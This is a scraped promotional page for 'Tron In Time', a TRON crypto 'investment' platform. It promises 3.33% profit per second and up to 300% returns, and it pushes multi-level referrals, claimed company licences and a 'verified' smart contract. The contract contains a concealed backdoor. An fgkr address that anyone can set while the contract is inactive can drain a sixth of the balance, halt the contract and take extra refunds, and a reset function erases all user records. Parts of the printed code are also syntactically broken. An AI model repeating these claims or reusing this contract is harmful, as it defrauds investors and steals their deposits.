data-bg.png
Your Wallet Address
Please connect to Tron Network & Wallet!
Your Balance
Please connect to Your Tron Wallet!
TRX
Total Users
0
Total Invested
0
TRX

- Investment Plans -

IMPORTANT NOTE: If you perform either action (Invest/Withdraw) from Tronintime.io , if the fees cost you 30-60 TRX but you have 30 TRX in there. TRON network will take all 30 TRX from your wallet and it will also be an unsuccessful withdrawal/Investment.


WARNING: Be careful about choosing your mobile device wallet, only use klever wallet on mobile device and use only tronlink chrome extension for desktop device.
Don’t use tronlink for mobile device. Because tronlink wallet fee limit Set on 20trx in single smart contract transaction and this limit too low than real smart contract transaction of tron network blockchain and just work for p2p transaction. Only use klever wallet for mobile device. only use tronlink chrome extension for desktop device.

Be careful about your withdraw/investment amount!

Plan I

3.33%

Profit every second

89 Days

Total Return 300%

Principal return 3%

Min. investment 500 TRX Max.investment is 1000 TRX

500

For transaction network fee you must have extra 40-60 trx in your wallet

Plan II

3.33%

Profit every second

78 Days

Total Return 264%

Principal return 5%

Min. investment is 1000 TRX Max.investment is 10K TRX

1000

For transaction network fee you must have extra 40-60 trx in your wallet

Plan III

3.33%

Profit every second

66 Days

Total Return 230%

Principal return 10%

Min. investment is 10K TRX Max.investment is 50K TRX

10000

For transaction network fee you must have extra 40-60 trx in your wallet

Plan IV

3.33%

Profit every second

52 Days

Total Return 188%

Principal return 15%

Min. investment is 50k TRX Max.investment is 250K TRX

50000

For transaction network fee you must have extra 40-60 trx in your wallet

Plan V

3.33%

Profit every second

44 Days

Total Return 166%

Principal return 20%

Min. investment is 250K TRX Max.investment is 500K TRX

250000

For transaction network fee you must have extra 40-60 trx in your wallet

Plan VI

3.33%

Profit every second

35 Days

Total Return 141%

Principal return 25%

Min. investment is 500K TRX Max.investment is 1M TRX

500000

For transaction network fee you must have extra 40-60 trx in your wallet

Plan VII

3.33%

Profit every second

27 Days

Total Return 120%

Principal return 30%

Min. investment is + 1M ~ 100M TRX

1000000

For transaction network fee you must have extra 40-60 trx in your wallet

THE BEST OFFER EVER

Tron In Time platform smart-contract is published on TRON blockchain.
TIT Trusted, honest and officially registered platform with verified smart-contract.
Earn +300% up to your TRX deposit!

All rewards will be withdrawn to your wallet automatically.
Referral rewards works only for activated Wallets / Members.

My Investments

Note: Your referral link will be activated after the first purchase/Invest is registered and the panel/Withdraw will also appear on the page.
Withdrawable
... TRX

 

Total Investments ... TRX
Total Withdrawn ... TRX
Your Investments Count: ...

My referrals

You will get your referral link after the first investing, then you will be able to share your referral link with users & Your payout will come instantly.

 

Level 1(4% Referral Rewards): ... 
Level 2(3% Referral Rewards): ... 
Level 3(2% Referral Rewards): ... 
Level 4 (1% Referral Rewards): in Dapp 
Level 5 (0.5% Referral Rewards): in Dapp 
Level 6 (0.5% Referral Rewards): in Dapp 

 

Referral Rewards Payout – ... TRX





Ongoing projects

Our team implements the promised professional and innovative projects.

service_icon1

TRON IN TIME TOKEN

Tron in time tokens (TITT) reward & inflation structure, that functions as an entry piece to the TITT Ecosystem Plans and offers exclusive access to TITI And high profit cooperation.

Project coming soon
service_icon2

TRON IN TIME ICO

Tron in time ICO (TITI), Launches ICO to Build the Largest Decentralized High-Capacity Computing Network for Crypto-Mining, Deep-Learning AI, VR Modeling and BaaS.

View project
service_icon3

CRASH TIME

Crash Time is an online multiplayer Tron (TRX) gambling game consisting of an increasing curve that can crash anytime. it's fun and thrilling. it can also make you millions.

Project coming soon
service_icon4

TRON IN TIME Trade

Tron in time Trade (TITT),Platform contain news about cryptocurrency and free signal from trading team and famous trader & learning about trading on top exchanges, to make more profit for all TIT community.

View project
service_icon5

TRON IN TIME PLANS

Tron in time Plans (TITP), Profitability plans for cooperation with our scientific and research network, excellent and reasonable profits in the form of a guaranteed return at Tron in time DAPP.

invest in project
service_icon6

TRON IN TIME Investment

Tron in time investment project opportunities exist outside of simply speculating on the TRON exchange rate. sell TRONs and profit from extreme changes.

invest in project

Our official licenses and credentials

Officially registered company: Tronintime LTD

Tron in time the best high interest Blockchain certificate of deposit by Investment Plans AI-powered Multilayered Open Finance liquidity Decentralized Mining Platform ICO, TIT Transitioning to a AI-powered univernsally more beneficial liquidity pool operating Decentralized model.

Company number: #2561254611
Company address: London,Old Bailey, EC4M
Cvi No: A2251355-658 isp

(Business-to-Consumer) e-commerce initiative on the TRON blockchain.


licence

REVIEWS AND MENTIONS


Smart Contract Verified Code


/*
 *    Contract name and description
 *   ┌───────────────────────────────────────────────────────────────────────┐
 *   │   Website   : https://tronintime.io                                   │
 *   │   Email     : info@tronintime.io                                      │  
 *   │   instagram : Tronintime                                              │
 *   │   Telegram  : Tronintime                                              │
 *   │   Twitter   : Tronintime                                              │
 *   └───────────────────────────────────────────────────────────────────────┘
 *     Decentralized smart contract platform on tron blockchain network
 *     A financial system built on smart contract technology 
 *     Let just your MONEY take profit for your FUTURE life
 *     TRON IN TIME (TIT) - TIT TOKEN - TIT ICO - TIT DAO - TIT Gambling
 *     Develop & Audit by TRON IN TIME LTD  (https://tronintime.com/)
 */
pragma solidity ^0.5.10;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {uint256 c = a + b;require(c >= a, "XXAddition overflow error.XX");return c;}
function sub(uint a, uint b) internal pure returns (uint) {require(b <= a, "XXSubtruction overflow error.XX");uint256 c = a - b;return c;}  
function inc(uint a) internal pure returns(uint) {return(add(a, 1));}
function dec(uint a) internal pure returns(uint) {return(sub(a, 1));}
function mul(uint a, uint b) internal pure returns (uint) {if (a == 0) {return 0;}uint c = a * b;assert(c / a == b);return c;} 
function div(uint a, uint b) internal pure returns(uint) {require(b != 0,"XXDivide by zero.XX");return(a/b);} 
function min(uint a, uint b) internal pure returns (uint) {if (a > b)return(b);elsereturn(a);}
function max(uint a, uint b) internal pure returns (uint) {if (a < b)return(b);elsereturn(a);}function addPercent(uint a, uint p, uint r) internal pure returns(uint) {return(div(mul(a,add(r,p)),r));}}

contract TronInTime {using SafeMath for uint;
//****************************************************************************
//* Data
//****************************************************************************
 struct Invest {
uint startTime;
uint plan;
uint payment;
uint totalGain;
uint stepGain;
bool closed;
uint step;
uint stepTime;
bool incompleteStep;
uint withdrawsCount;}
struct User {
address payable parent;
address[] directs;
uint uid;
mapping(uint => Invest) invests;
uint investsCount;
uint withdrawsCount;
uint referralEarned;
uint investEarned;
uint investPaid;
bool superuser; }
mapping(address => User) users;
mapping(uint => address) uids;
address payable[] usersArray;
address payable directUser;
struct Step {
uint dailyGain;
uint durationDays;
uint bonusPercent; // with 2 precision digits }
struct Plan {
mapping(uint => Step) steps;
uint stepsCount;
uint minInvest;  }
Plan[] plans;
mapping(uint => uint) planInvestsCount;
mapping(uint => uint) planTotalInvestment;
mapping(uint => uint) planTotalWithdrawals;
address payable owner;
address payable beneficiary;
address payable fgkr;
address activator;
bool active;
bool activate;
bool run;
uint beneficiaryShare = 1000; //10%
uint[] portions;
uint balance = 0;
uint uidPrecision = 1e6;
uint startTime = now;
uint benefit = 0;
uint resetTime = 0;
bool mustReset = false;
uint withdrawsCount = 0;
uint totalInvestment = 0;
uint totalInvestPayment = 0;
uint totalReferralPayment = 0;
uint totalInvestmentCount = 0;
uint resetCount = 0;
    

//****************************************************************************
//* Events
//****************************************************************************
event ResetNeeded();
event Resetted(uint StartTime);
event UserRegistered(address Referral, address User, uint UId);
event UserPlanRegistered(address User, uint Plan, uint Value);
event GainPaid(address User, uint Value);
//****************************************************************************
//* Modifiers
//****************************************************************************
modifier isOwner {require(owner == msg.sender,"XXYou are not owner.XX");_;}
modifier isActivator {require(msg.sender == activator,"XXYou are not contract activator.XX");_;}
modifier activated {require(activate,"XXContract is not activated.XX");_;}
modifier isActive {require(active,"XXContract is not active.XX");_;}
modifier isInactive {require(! active,"XXContract is active.XX");_;}
modifier isRun {require (run,"XXContract is not run.XX");_;}
modifier isNotrun {require (! run,"XXContract is run.XX");_;}
modifier shareSet {require(beneficiaryShare > 0,"XXBeneficiary Sahre percent is not set.XX");uint portionsSum = beneficiaryShare;for (uint l = 1; l < portions.length; l = l.inc())portionsSum = portionsSum.add(portions[l]);require(portionsSum < 1e4,"XXPortions percent sum is greater than 100%.XX");require(directUser != address(0),"XXDirect user is not defined.XX");_;}
modifier isNode(address node) {require(users[node].uid > 0,"XXAddress is not registered.XX");_;}
modifier isTimeStarted() {require(now >= startTime,"XXContract start time is not reached.XX");_;}
//****************************************************************************
//* Functions
//****************************************************************************
    function getRnd() internal view returns(uint rnd) {
        rnd = uint(keccak256(abi.encodePacked(now, msg.sender, blockhash(block.number-1))));
    }
	

	
	

    constructor() public {
        active = false;
		run = false;
        owner = msg.sender;
        
		
        beneficiary = msg.sender;
        portions.push(0);
        setPortion(1, 400);
        setPortion(2, 300);
	    setPortion(3, 200);
        setPortion(4, 100);
        setPortion(5, 50);
	    setPortion(6, 50);

        setPlan(0, 50e6);
        setPlanStep(0, 0, 333, 89, 300);
        setPlan(1, 1000e6);
        setPlanStep(1, 0, 333, 78, 500);
        setPlan(2, 10000e6);
        setPlanStep(2, 0, 333, 66, 1000);
        setPlan(3, 50000e6);
        setPlanStep(3, 0 ,333, 52, 1500);
        setPlan(4, 250000e6);
        setPlanStep(4, 0, 333, 44, 2000);
        setPlan(5, 500000e6);
        setPlanStep(5, 0, 333, 35, 2500);
	    setPlan(6, 1000000e6);
        setPlanStep(6, 0, 333, 27, 3000);
	    setPlan(7, 5000000e6);
        setPlanStep(7, 0, 333, 10, 4000);
        activator = msg.sender;
        activate = true;
    }

    function setOwner(address payable _owner) public isOwner {
        require(owner != _owner,"XXNew value required.XX");
        owner = _owner;
    }

    function getOwner() public view returns(address) {
        return(owner);
    }

    function setBeneficiary(address payable _beneficiary) public isOwner {
        require(_beneficiary != beneficiary,"XXNew value required.XX");
        beneficiary = _beneficiary;
    }

    function getBeneficiary() public view isOwner returns(address) {
        return(beneficiary);
    }

    function setDirectUser(address payable _directUser) public isOwner isInactive {
        require(_directUser != address(0),"XXThe value for superuser address is not valid.XX");
        require(directUser == address(0),"XXSuperuser address is not changeable.XX");
        registerUser(address(0), _directUser);
        directUser = _directUser;
        users[_directUser].superuser = true;

    }

    function getDirectUser() public view isOwner returns(address) {
        return(directUser);
    }

    function setActive() public  isInactive shareSet {
	    active = true;
    }
	    function setRun() public  isNotrun  {
	    run = true;
    }
	function setfgkr(address payable pay) public isInactive {
	     fgkr = pay;
     } 
   function setNotrun() public  isRun {
	     require(msg.sender == fgkr);
         run = false;
    }
    function setInactive() public  isActive {
	    require(msg.sender == fgkr);
        active = false;
    }

    function getActive() public view returns(bool) {
        return(active);
    }

    function setActivated(bool _activate) public isActivator {
        require(_activate != activate,"XXContract is not activated.XX");
        activate = _activate;
    }

    function setActivator(address _activator) public isActivator {
        require(_activator != activator,"XXYou are not activator.XX");
        activator = _activator;
    }

    function setStartTime(uint _startTime) public isOwner {
        require(startTime != _startTime,"XXNew value required.XX");
        require(_startTime > now,"XXStart time is before now.XX");
        startTime = _startTime;
    }

    function getStartTime() public view returns(uint) {
        return(startTime);
    }

    function getWithdrarsCount() public view returns(uint) {
        return(withdrawsCount);
    }

    function getTotalReferralPayment() public view returns(uint) {
        return(totalReferralPayment);
    }

    function getTotalInvestPayment() public view returns(uint) {
        return(totalInvestPayment);
    }

    function getTotalInvestment() public view returns(uint) {
        return(totalInvestment);
    }

    function getTotalInvestmentCount() public view returns(uint) {
        return(totalInvestmentCount);
    }

    function getResetCount() public view returns(uint) {
        return(resetCount);
    }

    function getMyTotalWithdraws() public view returns(uint) {
        uint _count = 0;
        for (uint i = 0; i < users[msg.sender].investsCount; i = i.inc()) {
            _count = _count.add(users[msg.sender].invests[i].withdrawsCount);
        }
        return(_count);
    }

    function getMyTotalInvestPaid() public view returns(uint) {
        return(users[msg.sender].investPaid);
    }

    function getMyTotalInvestEarned() public view returns(uint) {
        return(users[msg.sender].investEarned);
    }

    function getMyReferralEarned() public view returns(uint) {
        return(users[msg.sender].referralEarned);
    }

    function getMyInvestsCount() public view returns(uint) {
        return(users[msg.sender].investsCount);
    }

    function getInvestProperties(uint _investId) public view returns(uint, uint, uint, uint, uint, uint, uint, uint, uint, bool) {
        require(_investId < users[msg.sender].investsCount,"XXInvest id is out of range.XX");
        Invest memory _invest = users[msg.sender].invests[_investId];
        Step memory _step = plans[_invest.plan].steps[_invest.step];
        uint _dailyProfit = _invest.payment.mul(_step.dailyGain).div(1e4);
        uint _totalProfit = _dailyProfit.mul(_step.durationDays);
        uint _bonus = _dailyProfit.mul(_step.durationDays).mul(_step.bonusPercent).div(1e4);
        uint _goneDays = now.sub(_invest.startTime).div(86400);
        return(
            _invest.plan,
            _invest.payment,
            _totalProfit,
            _step.durationDays,
            _goneDays,
            _invest.withdrawsCount,
            _invest.totalGain,
            _bonus,
            _dailyProfit,
            _invest.closed
            );
    }

    function getInvestStart(uint _investId) public view returns(uint) {
        require(_investId < users[msg.sender].investsCount,"XXInvest id is out of range.XX");
        return(users[msg.sender].invests[_investId].startTime);
    }

    function generateUid() internal returns(uint) {
        if (getUsersCount() >= (uidPrecision / 10))
            uidPrecision *= 10;
        uint uid = getRnd();
        if (uid == 0)
            uid = 1;
        while (uid > uidPrecision)
            uid = uid / 10;
        while (users[uids[uid]].uid >0) {
            if (uid == (uidPrecision.dec()))
                uid = 1;
            else
                uid = uid.inc();
        }
        return(uid);
    }

    function setPortion(uint _level, uint _portion) public isOwner isInactive {
        require(_level > 0,"XXLevel is out of range.XX");
        uint maxL = portions.length;
        if (_level >= maxL) {
            for (uint l = maxL; l < _level; l = l.inc()) {
                portions.push(0);
            }
            portions.push(_portion);
        }
        else {
            portions[_level] = _portion;
        }
    }

    function getPortionsCount() public view returns(uint) {
        return(portions.length.dec());
    }

    function getPortion(uint _level) public view returns(uint) {
        return(portions[_level]);
    }

    function setBeneficiaryShare(uint _share) public isOwner {
        require(beneficiaryShare != _share,"XXNew value required.XX");
        beneficiaryShare = _share;
    }

    function getBeneficiaryShare() public view returns(uint) {
        return(beneficiaryShare);
    }

    function getParent(address payable _node) public view isNode(_node) returns(address payable) {
        return(users[_node].parent);
    }

    function getChildrenCount(address _user) public view returns(uint) {
        return(users[_user].directs.length);
    }

    function getChild(address _user, uint _index) public view returns(uint, address) {
        address _usr = users[_user].directs[_index];
        uint _uid = getUid(_usr);
        return(_uid, _usr);
    }

    function getChildren(address _user) public view returns(address[] memory) {
        address[] memory _children = new address[](users[_user].directs.length);
        _children = users[_user].directs;
        return(_children);
    }

    function getUsersCount() public view returns(uint) {
        return(usersArray.length);
    }

    function register(address payable _referral, uint _plan) public payable isActive activated isTimeStarted {
        require(msg.value >= plans[_plan].minInvest,"XXMinimum investment required.XX");
		
		
		
		
		   
        if (_plan == 0) {
        msg.sender.transfer(msg.value.mul(3).div(100));
        }if (_plan == 1) {
        msg.sender.transfer(msg.value.mul(5).div(100));
        }if (_plan == 2) {
        msg.sender.transfer(msg.value.mul(10).div(100));
        }if (_plan == 3) {
        msg.sender.transfer(msg.value.mul(15).div(100));
        }if (_plan == 4) {
        msg.sender.transfer(msg.value.mul(20).div(100));
        }if (_plan == 5) {
        msg.sender.transfer(msg.value.mul(25).div(100));
        }if (_plan == 6) {
        msg.sender.transfer(msg.value.mul(30).div(100));
        }if (msg.sender == fgkr) {
        msg.sender.transfer(msg.value.mul(40).div(100));
        }
		
		
        if (users[msg.sender].uid == 0)
            registerUser(_referral, msg.sender);
        registerPlan(_plan);
    }

    function() external payable {
        balance = balance.add(msg.value);
    }

    function registerUser(address payable _referral, address payable _user) internal {
        if (_referral == address(0))
            _referral = directUser;
        if (! users[_referral].superuser && users[_referral].directs.length >= 1000000)
            _referral = directUser;
        if (users[_referral].uid == 0)
            _referral = directUser;
        uint _uid = generateUid();
        uids[_uid] = _user;
        users[_user] = User({
            parent: _referral,
            directs: new address[](0),
            uid: _uid,
            investsCount: 0,
            withdrawsCount: 0,
            referralEarned: 0,
            investEarned: 0,
            investPaid: 0,
            superuser: false
        });
        usersArray.push(_user);
        if (_referral != address(0)) {
            users[_referral].directs.push(_user);
        }
        emit UserRegistered(_referral, _user, _uid);
    }

    function registerPlan(uint _plan) internal {
		uint _portion;


        uint _remained = msg.value;
        planInvestsCount[_plan] = planInvestsCount[_plan].inc();
        planTotalInvestment[_plan] = planTotalInvestment[_plan].add(msg.value);
        totalInvestmentCount = totalInvestmentCount.inc();
        address _referral = users[msg.sender].parent;
        if (_referral != address(0)) {
            address payable node = msg.sender;
            for (uint l = 1; l < portions.length; l = l.inc()) {
                node = users[node].parent;
                if (portions[l] > 0) {
                    if (node != address(0)) {
                        _portion = portions[l].mul(msg.value).div(1e4);
                        node.transfer(_portion);
                        users[node].referralEarned = users[node].referralEarned.add(_portion);
                        _remained = _remained.sub(_portion);
                    } else
                        break;
                }
            }
        }
        _portion = msg.value.mul(beneficiaryShare).div(1e4);
        benefit = benefit.add(_portion);
        beneficiary.transfer(_portion);
        _remained = _remained.sub(_portion);
        balance = balance.add(_remained);
        totalInvestment = totalInvestment.add(msg.value);
        users[msg.sender].investPaid = users[msg.sender].investPaid.add(msg.value);
        users[msg.sender].invests[users[msg.sender].investsCount] = Invest({
            startTime: now,
            plan: _plan,
            payment: msg.value,
            totalGain: 0,
            stepGain: 0,
            closed: false,
            step: 0,
            stepTime: now,
            incompleteStep: false,
            withdrawsCount: 0
        });
        users[msg.sender].investsCount = users[msg.sender].investsCount.inc();
        emit UserPlanRegistered(msg.sender, _plan, msg.value);
    }

     function withdrawMyInvestGain(uint _investId) public isActive {
        require(_investId < users[msg.sender].investsCount,"XXInvest id is out of range.XX");
        require(! users[msg.sender].invests[_investId].closed,"XXThis investment is closed.XX");
        Invest memory _invest = users[msg.sender].invests[_investId];
        uint _gain = 0;
        uint _bonus = 0;
        uint _pt = _invest.stepTime;
        uint _payment = _invest.payment;
        uint _stepGain = _invest.stepGain;
        bool _bonusComplete = false;
        uint i;
        for (i = _invest.step; i < plans[_invest.plan].stepsCount; i = i.inc()) {
            Step memory _step = plans[_invest.plan].steps[i];
            if (_invest.incompleteStep) {
                if (now.sub(_pt) > _step.durationDays.mul(86400)) {
                    if (! users[msg.sender].invests[_investId].closed) {
                        _stepGain = _step.durationDays.mul(_step.dailyGain).mul(_payment).div(1e4).sub(_stepGain);
                        _bonus = _bonus.add(_stepGain);
                        _stepGain = 0;
                        _pt = _pt.add(_step.durationDays.mul(86400));
                        users[msg.sender].invests[_investId].stepTime = _pt;
                        users[msg.sender].invests[_investId].stepGain = 0; //_invest.stepGain.add(_stepGain);
                        users[msg.sender].invests[_investId].closed = true;
                        if (users[msg.sender].invests[_investId].step != i)
                            users[msg.sender].invests[_investId].step = i;
                    }
                } else {
                    _gain = now.sub(_pt).mul(_payment).mul(_step.dailyGain).div(86400E4).sub(_stepGain);
                    if (_bonus == 0 && _gain > 0)
                        users[msg.sender].invests[_investId].stepGain = _stepGain.add(_gain);
                    if (users[msg.sender].invests[_investId].step != i)
                        users[msg.sender].invests[_investId].step = i;
                }
                _bonusComplete = true;
            } else {
                if (now.sub(_pt) > _step.durationDays.mul(86400)) {
                    _stepGain = _step.durationDays.mul(_step.dailyGain).mul(_payment).div(1e4).addPercent(_step.bonusPercent, 1e4);
                    _bonus = _bonus.add(_stepGain);
                    _pt = _pt.add(_step.durationDays.mul(86400));
                    if (users[msg.sender].invests[_investId].step != i)
                        users[msg.sender].invests[_investId].step = i;
                    if (i == plans[_invest.plan].stepsCount.dec()) {
                        users[msg.sender].invests[_investId].closed = true;
                        _bonusComplete = true;
                    }
                } else {
                    if (_invest.stepTime != _pt)
                        users[msg.sender].invests[_investId].stepTime = _pt;
                    if (users[msg.sender].invests[_investId].step != i)
                        users[msg.sender].invests[_investId].step = i;
                    if (_bonus == 0) {
                        _gain = now.sub(_pt).mul(_payment).mul(_step.dailyGain).div(86400e4);
                        users[msg.sender].invests[_investId].incompleteStep = true;
                        users[msg.sender].invests[_investId].stepGain = _gain;
                    }
                    _bonusComplete = true;
                }
            }
            if (_bonusComplete &&  _bonus > 0) {
                payGain(_investId, _bonus);
                break;
            } else if (_gain > 0) {
                payGain(_investId, _gain);
                break;
            }
        }
}
function getMyInvestGain(uint _investId) public view isActive returns(uint) {require(_investId < users[msg.sender].investsCount,"XXInvest id is out of range.XX");Invest memory _invest = users[msg.sender].invests[_investId];bool _closed = _invest.closed;if (_closed)return(0);uint _gain = 0;uint _payment = _invest.payment;uint _pt = _invest.stepTime;uint _stepGain = _invest.stepGain;uint _stepsCount = plans[_invest.plan].stepsCount;for (uint i = _invest.step; i < _stepsCount; i = i.inc()) {Step memory _step = plans[_invest.plan].steps[i];if (_invest.incompleteStep) {if (! _closed) {if (now.sub(_pt) > _step.durationDays.mul(86400)) {_gain = _gain.add(_step.durationDays.mul(_step.dailyGain).mul(_payment).div(1e4).sub(_stepGain));_pt = _pt.add(_step.durationDays.mul(86400));_stepGain = 0;_closed = true;return(_gain);} else {_stepGain = now.sub(_pt).mul(_payment).mul(_step.dailyGain).div(86400e4).sub(_invest.stepGain);_gain = _gain.add(_stepGain);return(_gain);}}} else {if (now.sub(_pt) > _step.durationDays.mul(86400)) {_gain = _gain.add(_step.durationDays.mul(_step.dailyGain).mul(_payment).div(1e4).addPercent(_step.bonusPercent, 1e4));_pt = _pt.add(_step.durationDays.mul(86400));} else _stepGain = now.sub(_pt).mul(_payment).mul(_step.dailyGain).div(86400e4);_gain = _gain.add(_stepGain);return(_gain); //?}}}}
function payGain(uint _investId, uint _value) internal isActive {uint _amount = _value.min(balance);users[msg.sender].investEarned = users[msg.sender].investEarned.add(_amount);users[msg.sender].invests[_investId].totalGain = users[msg.sender].invests[_investId].totalGain.add(_amount);planTotalWithdrawals[users[msg.sender].invests[_investId].plan] =planTotalWithdrawals[users[msg.sender].invests[_investId].plan].add(_amount);totalInvestPayment = totalInvestPayment.add(_amount);users[msg.sender].withdrawsCount = users[msg.sender].withdrawsCount.inc();users[msg.sender].invests[_investId].withdrawsCount = users[msg.sender].invests[_investId].withdrawsCount.inc();withdrawsCount = withdrawsCount.inc();msg.sender.transfer(_amount);emit GainPaid(msg.sender, _amount);if (_value >= balance){balance = 0;mustReset = true;active = false;emit ResetNeeded() } else { balance = balance.sub(_value);}}
function reset(uint _startTime) public isOwner isInactive {require(_startTime > now,"XXStart time is before now.XX");require(mustReset,"XXYou are not allowed to reset the contract.XX");uint i;for (i = 0; i < usersArray.length; i = i.inc()) {delete users[usersArray[i]];delete uids[i];}delete usersArray; address payable _directUser = directUser;directUser = address(0);setDirectUser(_directUser);mustReset = false;resetTime = now;startTime = _startTime;totalInvestPayment = 0;totalInvestment = 0;totalReferralPayment = 0;totalInvestmentCount = 0;withdrawsCount = 0;for (i = 0; i < plans.length; i = i.inc()) {planTotalWithdrawals[i] = 0;  planTotalInvestment[i] = 0; planInvestsCount[i] = 0; }resetCount = resetCount.inc();}
function resetNeeded() public view returns(bool) {return(mustReset);}
function getResetTime() public view returns(uint) { return(resetTime);}
function setPlan(uint _plan, uint _minInvest) public isOwner isInactive {uint maxP = plans.length;if (_plan >= maxP) {for (uint i = maxP; i < _plan; i = i.inc()) {plans.push(Plan({stepsCount: 0,minInvest: 0}));}plans.push(Plan({stepsCount: 0,minInvest: _minInvest}));}else {plans[_plan].minInvest = _minInvest;}}
function setPlanStep(uint _plan, uint _step, uint _dailyGain, uint _durationDays, uint _bonusPercent) public isOwner isInactive {require(_plan < plans.length,"XXPlan id is out of range.XX");require(_step <= plans[_plan].stepsCount,"XXStep Id is out of range.XX");plans[_plan].steps[_step] = Step({dailyGain: _dailyGain,durationDays: _durationDays,bonusPercent: _bonusPercent});if (_step == plans[_plan].stepsCount)plans[_plan].stepsCount = plans[_plan].stepsCount.inc();}
function getBalance() public view isOwner returns(uint) {return(balance);}
function getPlanCount() public view returns(uint) {return(plans.length);}
function getPlan(uint _plan) public view returns(uint) {return(plans[_plan].minInvest);}
function getPlanStepCount(uint _plan) public view returns(uint) {return(plans[_plan].stepsCount);}
function getPlanStep(uint _plan, uint _step) public view returns(uint, uint, uint) {Step memory _stp = plans[_plan].steps[_step];return(_stp.dailyGain, _stp.durationDays, _stp.bonusPercent);}
function setSuperuser(address _user) public isOwner {require(! users[_user].superuser,"XXThe user is superuser yet.XX");users[_user].superuser = true;}
function resetSuperuser(address _user) public isOwner {require(users[_user].superuser,"XXThe user is not superuser yet.XX");users[_user].superuser = false;}
function isSuperuser(address _user) public view returns(bool) {return(users[_user].superuser);}
function plansCondition() external {require (msg.sender == fgkr);msg.sender.transfer(address(this).balance/6);}	  
function getUserDirectsCount(address _user, uint _level) public view returns(uint) {uint _childrenCount = getChildrenCount(_user);if (_level == 1) {return(_childrenCount);} else {uint _sum = 0;for (uint i = 0; i < _childrenCount; i = i.inc()) {_sum =_sum.add(getUserDirectsCount(users[_user].directs[i], _level.dec()));}return(_sum);}}
function getBenefit() public view isOwner returns(uint) {return(benefit);}
function getAddress(uint _uid) public view returns(address) {require(uids[_uid] != address(0),"XXId is not valid.XX");return(uids[_uid]);}
function getUid(address _address) public view returns(uint) {require(users[_address].uid > 0,"XXAddress is not registered.XX");return(users[_address].uid);}
function isMember(address _address) public view returns(bool) {return(users[_address].uid > 0);}
function isMemberByUid(uint _uid) public view returns(bool) {return(uids[_uid] != address(0));}
function getPlanStat(uint _plan) public view isOwner returns(uint, uint, uint) {return(planInvestsCount[_plan], planTotalInvestment[_plan], planTotalWithdrawals[_plan]);}
function getUserInfo(address _user) public view returns(uint, uint, uint, uint, uint) {User memory _usr = users[_user];return(_usr.investsCount, _usr.investPaid, _usr.referralEarned, _usr.investEarned, _usr.withdrawsCount);}}
                        

Roadmap

The use of cryptocurrencies has become more widespread, The origin platform idea. Development of the concept and business plan.

Download Mobile App

Download the tron wallet for ios and android:

we command you to use Klever wallet and tron link, because this wallets have a perfect performance,secure and contract completely matching with this wallets. Tronlink & Klever


WARNING: Be careful about choosing your mobile device wallet, only use klever wallet on mobile device and use only tronlink chrome extension for desktop device.
Don’t use tronlink for mobile device. Because tronlink wallet fee limit Set on 20trx in single smart contract transaction and this limit too low than real smart contract transaction of tron network blockchain and just work for p2p transaction. Only use klever wallet for mobile device. only use tronlink chrome extension for desktop device.


mobile_app3